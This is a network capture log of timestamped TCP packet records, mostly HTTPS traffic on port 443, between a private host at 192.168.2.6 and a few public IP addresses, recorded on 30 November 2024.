Nov 30, 2024 04:13:27.472373962 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.472846985 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.472851992 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.518279076 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.518928051 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.518956900 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.519402027 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.519407034 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.584589958 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.585248947 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.585283041 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.585716963 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.585722923 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.915457010 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.916177034 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.916251898 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.916263103 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.916323900 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.925179005 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.925206900 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.925223112 CET	49947	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.925229073 CET	443	49947	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.933968067 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.934007883 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.934075117 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.934319019 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.934330940 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.962306023 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.965917110 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.965982914 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.965987921 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.966025114 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.966074944 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.966093063 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.966105938 CET	49948	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.966110945 CET	443	49948	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.969700098 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.969741106 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:27.969881058 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.970068932 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:27.970079899 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.029737949 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.032856941 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.032912970 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.032955885 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.032974005 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.032993078 CET	49949	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.032998085 CET	443	49949	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.036801100 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.036840916 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.036906958 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.037075996 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.037090063 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.090956926 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.091128111 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.093050957 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.093065023 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.093375921 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.097471952 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.097515106 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.097528934 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.097680092 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.143331051 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.350584030 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.352545977 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.352569103 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.353162050 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.353167057 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.760205030 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.764624119 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.764652967 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.764683008 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.764894962 CET	443	49950	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:28.764961958 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.764981031 CET	49950	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:28.788955927 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.792047024 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.792104959 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.792176008 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.792315960 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.792339087 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.792355061 CET	49951	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.792361975 CET	443	49951	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.795161963 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.795206070 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:28.795310974 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.795458078 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:28.795466900 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.037014008 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.045926094 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.045943975 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.052073002 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.052078962 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.485747099 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.488856077 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.489109993 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.489155054 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.489171028 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.489181995 CET	49952	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.489186049 CET	443	49952	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.492466927 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.492517948 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.492585897 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.492750883 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.492765903 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.715230942 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.715948105 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.715974092 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.716681004 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.716717005 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.752144098 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.752194881 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.753962994 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.753983974 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.754442930 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.754447937 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.754802942 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.754827023 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:29.755168915 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:29.755175114 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158333063 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158361912 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158446074 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.158468962 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158706903 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.158716917 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158731937 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.158894062 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158919096 CET	443	49953	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.158972025 CET	49953	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.162225008 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.162239075 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.162334919 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.162497044 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.162507057 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.188935041 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.192044973 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.192096949 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.192167044 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.192440987 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.192440987 CET	49955	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.192481995 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.192497015 CET	443	49955	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.195833921 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.195894003 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.195998907 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.196141958 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.196160078 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.196180105 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.199404001 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.199445009 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.199493885 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.199554920 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.199568987 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.199578047 CET	49954	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.199583054 CET	443	49954	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.201518059 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.201556921 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.201637030 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.201761961 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:30.201773882 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:30.841942072 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:30.841976881 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:30.842101097 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:30.842746973 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:30.842763901 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:31.337374926 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.337868929 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.337896109 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.338390112 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.338395119 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.790395975 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.793690920 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.793780088 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.793839931 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.793865919 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.793879986 CET	49957	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.793884993 CET	443	49957	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.796997070 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.797044039 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.797116041 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.797292948 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.797306061 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.942071915 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.942655087 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.942677021 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.943166971 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.943171978 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.975935936 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.976424932 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.976449013 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.976747036 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.976752043 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.981601954 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.981838942 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.981859922 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:31.982170105 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:31.982173920 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.387362957 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.390594006 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.390661955 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.392290115 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.392301083 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.392317057 CET	49958	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.392323017 CET	443	49958	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.396790028 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.396822929 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.396912098 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.397115946 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.397125006 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.419789076 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.419825077 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.419867992 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.419873953 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.419925928 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.420166016 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.420178890 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.420188904 CET	49959	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.420192957 CET	443	49959	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.422790051 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.422825098 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.422900915 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.423054934 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.423063993 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.426875114 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.430018902 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.430080891 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.430305004 CET	49960	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.430318117 CET	443	49960	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.432697058 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.432740927 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:32.432809114 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.432959080 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:32.432971001 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:33.114456892 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.114675045 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.116631985 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.116642952 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.116894960 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.118882895 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.118938923 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.118943930 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.119092941 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.163333893 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.580710888 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:33.581671000 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:33.581700087 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:33.582180023 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:33.582185984 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:33.686672926 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.686799049 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:33.686875105 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.687067032 CET	49961	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:13:33.687086105 CET	443	49961	20.198.118.190	192.168.2.6
Nov 30, 2024 04:13:34.024979115 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.028217077 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.028264999 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.028337002 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.028368950 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.028414011 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.028431892 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.028446913 CET	49962	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.028451920 CET	443	49962	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.031421900 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.031466007 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.031552076 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.031697989 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.031709909 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.142658949 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.143408060 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.143435955 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.143914938 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.143924952 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.176038980 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.176708937 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.176775932 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.177239895 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.177254915 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.298607111 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.299555063 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.299633026 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.300019979 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.300034046 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.577739954 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.580744982 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.580842018 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.580904007 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.580931902 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.580943108 CET	49963	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.580949068 CET	443	49963	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.584595919 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.584652901 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.584714890 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.585467100 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.585493088 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.611084938 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.614276886 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.614360094 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.614528894 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.614552975 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.614568949 CET	49965	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.614577055 CET	443	49965	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.617539883 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.617599010 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.617660046 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.617836952 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.617851019 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.752185106 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.755435944 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.755484104 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.755495071 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.755531073 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.755597115 CET	49964	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.755611897 CET	443	49964	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.758842945 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.758886099 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:34.758981943 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.759143114 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:34.759154081 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.589576960 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.590111017 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:35.590132952 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.590615988 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:35.590620041 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.820485115 CET	49701	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:13:35.878089905 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.879493952 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:35.879523993 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.879966974 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:35.879971027 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:35.943389893 CET	443	49701	20.190.181.5	192.168.2.6
Nov 30, 2024 04:13:35.943511963 CET	49701	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:13:36.034471989 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.037785053 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.040018082 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.040074110 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.040086985 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.040098906 CET	49956	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.040105104 CET	443	49956	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.043101072 CET	49971	443	192.168.2.6	13.107.246.63
